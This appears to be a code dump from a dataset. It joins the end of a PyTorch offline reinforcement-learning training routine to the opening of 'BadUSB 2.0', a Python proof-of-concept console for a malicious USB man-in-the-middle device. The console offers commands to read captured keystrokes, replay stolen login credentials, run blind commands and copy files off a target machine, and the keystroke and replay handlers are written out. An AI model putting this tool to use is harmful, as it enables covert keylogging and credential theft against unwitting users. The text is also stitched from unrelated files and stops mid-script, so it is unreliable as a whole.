text
stringlengths
0
93.6k
q_loss = sum(F.mse_loss(q, targets) for q in qs) / len(qs)
self.q_optimizer.zero_grad(set_to_none=True)
q_loss.backward()
self.q_optimizer.step()
# Update target Q network
update_exponential_moving_average(self.q_target, self.qf, self.beta)
# Update policy
weight = torch.exp(self.alpha * adv)
weight = torch.clamp_max(weight, EXP_ADV_MAX).detach()
policy_out = self.policy(observations)
bc_losses = -policy_out.log_prob(actions)
policy_loss = torch.mean(weight * bc_losses)
self.policy_optimizer.zero_grad(set_to_none=True)
policy_loss.backward()
self.policy_optimizer.step()
# self.policy_lr_schedule.step()
wandb.log({"p_loss": policy_loss}, step=self.step)
# wandb
if (self.step+1) % 10000 == 0:
wandb.log({"v_loss": v_loss, "v_value": v.mean(), "q_loss": q_loss, "q_value": qs[0].mean()}, step=self.step)
self.step += 1
def save(self, filename):
torch.save(self.policy.state_dict(), filename + "-policy_network")
print(f"***save models to {filename}***")
def load(self, filename):
self.policy.load_state_dict(torch.load(filename + "-policy_network", map_location=torch.device('cpu')))
print(f"***load the RvS policy model from {filename}***")
# <FILESEP>
#!/usr/bin/env python
# BadUSB 2.0 by DK 2016 (@withdk)
import os
import sys
from shutil import copyfile
# Eye candy!!!!! :)))
print('''
****** ** ** ** ******** ****** **** ****
/*////** /**/** /** **////// /*////** */// * *///**
/* /** ****** /**/** /**/** /* /** / /* /* */*
/****** //////** ******/** /**/*********/****** *** /* * /*
/*//// ** ******* **///**/** /**////////**/*//// ** *// /** /*
/* /** **////** /** /**/** /** /**/* /** * **/* /*
/******* //********//******//******* ******** /******* /******/**/ ****
/////// //////// ////// /////// //////// /////// ////// // ////
- BadUSB 2.0 USB MITM POC
''')
# Ascii art compliments of http://patorjk.com/software/taag/
shell='$'
if os.geteuid()==0:
shell='#'
keystrokefile='/tmp/badusb2-recorded'
replayfile='/tmp/replay'
modifyfile='/tmp/modify'
startrunfile='/tmp/startrun'
anyonehomefile='/tmp/capslock'
blindcmdfile='/tmp/cmd'
shellfile='/tmp/cmd2'
help=('''
BadUSB 2.0 Options Menu
help - get help menu.
keystrokes - retrieve user keystrokes.
anyonehome - toggle capslock.
replay - replay last user login.
modify - toggle user annoyance mode. Every keycode sent gets decremented.
startrun - execute a command via Windows-Key/Run.
cmd - execute a blind command (no output).
getfile - copy a file from target.
putfile - copy a file to target.
exit - close program.
''')
opt=True
while opt:
raw=raw_input('BadUSB 2' + shell + ' ')
if(raw=='help'):
print help
elif(raw=='keystrokes'):
print 'Getting keystrokes...'
for line in (open(keystrokefile).readlines()):
print line.rstrip()
elif(raw=='anyonehome'):
print 'Anyone home!??'
open(anyonehomefile,'a').close()
elif(raw=='replay'):
print 'Replaying login credentials...'
open(replayfile,'a').close()